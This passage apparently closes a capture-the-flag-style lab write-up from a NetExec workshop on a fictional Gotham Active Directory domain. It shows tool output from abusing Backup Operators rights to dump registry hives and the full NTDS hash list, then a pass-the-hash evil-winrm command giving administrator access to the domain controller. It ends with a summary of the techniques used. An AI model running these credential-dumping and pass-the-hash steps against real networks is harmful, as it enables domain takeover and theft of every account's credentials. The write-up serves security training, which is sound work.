SMB         192.168.56.10   445    DC01             [*] Copying "SYSTEM" to "/root/.nxc/logs/DC01_192.168.56.10_2025-08-10_202807.SYSTEM"
SMB         192.168.56.10   445    DC01             [+] File "SYSTEM" was downloaded to "/root/.nxc/logs/DC01_192.168.56.10_2025-08-10_202807.SYSTEM"
BACKUP_O... 192.168.56.10   445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:52e6c515252f0487bdca397297ddec12:::
BACKUP_O... 192.168.56.10   445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 192.168.56.10   445    DC01             DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BACKUP_O... 192.168.56.10   445    DC01             $MACHINE.ACC:plain_password_hex:b93d3b7d8a44309dc469a7146fa7fab024b82067039e0a04ae9c6f7c10ce47ff98bf6435fb4795df9f781ee88bbea6fc695c4644e69912d473fbc633b0517842327782741a42a8010ffae1200cf8cda180127332061ec87e9d998cea70b5e9ae03c0f3abb1db8532e41844dc68b5c7ad624b04cc8e547f1abd21de33345823367476b6dcced833ad46303babb59d98397f88c259157c8ca3790ae59e146611fcba65b1d61e3b3ee5ba11ec32d8c4cf5d87234de97b90936babab952efd11d55d707e0188973f5c0868ebdb74ff465e5f8b9fe8b34e1c93febcf397ad01a23ecaafa228826c073d528a3dff2ca8556933
BACKUP_O... 192.168.56.10   445    DC01             $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:64b200ea98cd1869ff5c26a4461fd0e8
BACKUP_O... 192.168.56.10   445    DC01             dpapi_machinekey:0x1308fb90bd98c002a0d6b204b98f18af100eba01
dpapi_userkey:0x022cbb36714f11623d776c37bfd8f7d474247230
BACKUP_O... 192.168.56.10   445    DC01             NL$KM:2080986a02b99c0c84a3e51e64e6d444cbfc0d8998d21bb4b1491d564156955d09b0b1feab7969940c2b8bc2285b702f69076402c7b45ece9e098bdb872f239d
SMB         192.168.56.10   445    DC01             [+] GOTHAM.CITY\Administrator:52e6c515252f0487bdca397297ddec12 (admin)
BACKUP_O... 192.168.56.10   445    DC01             [*] Dumping NTDS...
SMB         192.168.56.10   445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.56.10   445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:52e6c515252f0487bdca397297ddec12:::
SMB         192.168.56.10   445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.56.10   445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5d6de4b880511e388a4cf54961dcb10f:::
SMB         192.168.56.10   445    DC01             vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
SMB         192.168.56.10   445    DC01             bruce.wayne:1106:aad3b435b51404eeaad3b435b51404ee:cc2aab3caf22348af7a9a897ca720b63:::
SMB         192.168.56.10   445    DC01             joker:1107:aad3b435b51404eeaad3b435b51404ee:27555671339d160619ac9c2b070c86f2:::
SMB         192.168.56.10   445    DC01             alfred.pennyworth:1108:aad3b435b51404eeaad3b435b51404ee:8ddf2dee102773ed238e4e823065e757:::
SMB         192.168.56.10   445    DC01             selina.kyle:1109:aad3b435b51404eeaad3b435b51404ee:4de27d42895d2ff9a3f03289fb5d10fb:::
SMB         192.168.56.10   445    DC01             harvey.dent:1110:aad3b435b51404eeaad3b435b51404ee:920ea45ca7439979801ceca12187e553:::
SMB         192.168.56.10   445    DC01             jim.gordon:1111:aad3b435b51404eeaad3b435b51404ee:7dbf00537b54dc6960d90ac1d54b5a2b:::
SMB         192.168.56.10   445    DC01             lucius.fox1337:1112:aad3b435b51404eeaad3b435b51404ee:acba2aaeb2574c5cf4eed6c7f27330de:::
SMB         192.168.56.10   445    DC01             barbara.gordon:1113:aad3b435b51404eeaad3b435b51404ee:afb78b94e7621248e13216313c2de54c:::
SMB         192.168.56.10   445    DC01             oswald.cobblepot:1114:aad3b435b51404eeaad3b435b51404ee:f59017f45ebe5e89dcdb84b7c9a08682:::
SMB         192.168.56.10   445    DC01             edward.nygma:1115:aad3b435b51404eeaad3b435b51404ee:69e51d41eff25ddaa22a890684c6f276:::
SMB         192.168.56.10   445    DC01             bane:1116:aad3b435b51404eeaad3b435b51404ee:04908f83f2681f128497150f3c746ecd:::
SMB         192.168.56.10   445    DC01             victor.freeze:1117:aad3b435b51404eeaad3b435b51404ee:6a152e350042706f24b8e1224c18f572:::
SMB         192.168.56.10   445    DC01             harley.quinn:1118:aad3b435b51404eeaad3b435b51404ee:f17fff84753682b1a3147da512354f3e:::
SMB         192.168.56.10   445    DC01             dick.grayson:1119:aad3b435b51404eeaad3b435b51404ee:ca7d1f94796c9c900a98c2c5f891dcbc:::
SMB         192.168.56.10   445    DC01             jason.todd:1120:aad3b435b51404eeaad3b435b51404ee:fe6ced7e22d98abbf9067df47a4c1686:::
SMB         192.168.56.10   445    DC01             tim.drake:1121:aad3b435b51404eeaad3b435b51404ee:42c8dfe4018844345a4f0d5d81085e08:::
SMB         192.168.56.10   445    DC01             talia.al.ghul:1122:aad3b435b51404eeaad3b435b51404ee:57ca45b2080254b7bfee0c2d8ab69b4b:::
SMB         192.168.56.10   445    DC01             rachel.dawes:1123:aad3b435b51404eeaad3b435b51404ee:37c93f5d6e7b44cd8b59de4c0410efab:::
SMB         192.168.56.10   445    DC01             ras.al.ghul:1124:aad3b435b51404eeaad3b435b51404ee:14dc16a2eac98b783f8b73e063323ea2:::
SMB         192.168.56.10   445    DC01             scarecrow:1125:aad3b435b51404eeaad3b435b51404ee:280bb0849e5fb0324d94554c528cc1eb:::
SMB         192.168.56.10   445    DC01             poison.ivy:1126:aad3b435b51404eeaad3b435b51404ee:11e8539cf8d3ae967228cf59538d6538:::
SMB         192.168.56.10   445    DC01             black.mask:1127:aad3b435b51404eeaad3b435b51404ee:e4ac0af806b13542f617151459c4736c:::
SMB         192.168.56.10   445    DC01             killer.croc:1128:aad3b435b51404eeaad3b435b51404ee:7ada0e427df96ef50055560dd1490dd4:::
SMB         192.168.56.10   445    DC01             deadshot:1129:aad3b435b51404eeaad3b435b51404ee:8f056bcc4f33d761e410ee5e9d430cae:::
SMB         192.168.56.10   445    DC01             DC01$:1001:aad3b435b51404eeaad3b435b51404ee:64b200ea98cd1869ff5c26a4461fd0e8:::
SMB         192.168.56.10   445    DC01             SRV02$:1104:aad3b435b51404eeaad3b435b51404ee:2122161db8d91e1b0275a0d636255bd7:::
SMB         192.168.56.10   445    DC01             SRV01$:1105:aad3b435b51404eeaad3b435b51404ee:a6af484f4f8d4e91a635cce086126a8a:::
SMB         192.168.56.10   445    DC01             gmsa-robin$:1130:aad3b435b51404eeaad3b435b51404ee:76679bd649f3801655ba01794de14e0b:::
SMB         192.168.56.10   445    DC01             [+] Dumped 32 NTDS hashes to /root/.nxc/logs/ntds/192.168.56.10_None_2025-08-10_202806.ntds of which 28 were added to the database
SMB         192.168.56.10   445    DC01             [*] To extract only enabled accounts from the output file, run the following command: 
SMB         192.168.56.10   445    DC01             [*] cat /root/.nxc/logs/ntds/192.168.56.10_None_2025-08-10_202806.ntds | grep -iv disabled | cut -d ':' -f1
SMB         192.168.56.10   445    DC01             [*] grep -iv disabled /root/.nxc/logs/ntds/192.168.56.10_None_2025-08-10_202806.ntds | cut -d ':' -f1
BACKUP_O... 192.168.56.10   445    DC01             [*] Cleaning dump with user Administrator and hash 52e6c515252f0487bdca397297ddec12 on domain GOTHAM.CITY
BACKUP_O... 192.168.56.10   445    DC01             [-] Fail to remove the file SAM, path: C:\Windows\sysvol\sysvol\SAM
BACKUP_O... 192.168.56.10   445    DC01             [-] Fail to remove the file SECURITY, path: C:\Windows\sysvol\sysvol\SECURITY
BACKUP_O... 192.168.56.10   445    DC01             [-] Fail to remove the file SYSTEM, path: C:\Windows\sysvol\sysvol\SYSTEM
BACKUP_O... 192.168.56.10   445    DC01             [*] Use the domain admin account to clean the file on the remote host
BACKUP_O... 192.168.56.10   445    DC01             [*] netexec smb dc_ip -u user -p pass -x "del C:\Windows\sysvol\sysvol\SECURITY && del C:\Windows\sysvol\sysvol\SAM && del C:\Windows\sysvol\sysvol\SYSTEM"

What happens:

  • RemoteRegistry service is triggered to start
  • SAM, SYSTEM, and SECURITY hives are saved to SYSVOL
  • NTDS database dump begins

We now have the hash for the domain administrator account! This is the golden ticket.

Administrative Access to Domain Controller
#

With the administrator hash, let’s connect directly to the domain controller.

Command used:

evil-winrm -u Administrator -H 52e6c515252f0487bdca397297ddec12 -i 192.168.56.10

Connection successful!

Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
gotham\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
DC01

DOMAIN DOMINATION ACHIEVED! 🎉


Conclusion
#

Attack Summary
#

  1. Reconnaissance: Discovered network topology and enumerated users
  2. SRV01: Exploited via DLL hijacking and privilege escalation
  3. SRV02: Pivoted via PrintNightmare and credential recovery
  4. DC01: Final domination via Backup Operators rights exploitation

Techniques Used
#

  • AS-REP Roasting on lucius.fox1337
  • Kerberoasting to obtain joker’s hash
  • DLL Hijacking on the Wayne service
  • PrintNightmare (CVE-2021-34527)
  • Abuse of Backup Operators rights
  • NTDS dump for domain hash recovery

Key Learning Points
#

  • Persistence: Creating local administrator accounts for persistence
  • Lateral Movement: Pivoting between servers using various techniques
  • Privilege Escalation: Progressive elevation of privileges
  • Domain Dominance: Achieving administrative access to the domain controller

Final Thoughts
#

This lab was an excellent demonstration of obscure Active Directory attack chains that I did not know about for most of them. The progression from initial reconnaissance to domain domination shows how attackers can chain multiple techniques together to achieve their objectives.

The use of GMSA accounts, backup operator rights, and various privilege escalation techniques mirrors what we see in actual penetration tests and red team engagements.

Thanks to all the BarbHack Netexec Workshop 2024 organizers and the Netexec team for this exceptional lab!


Writeup written w/love by Elliot Belt <3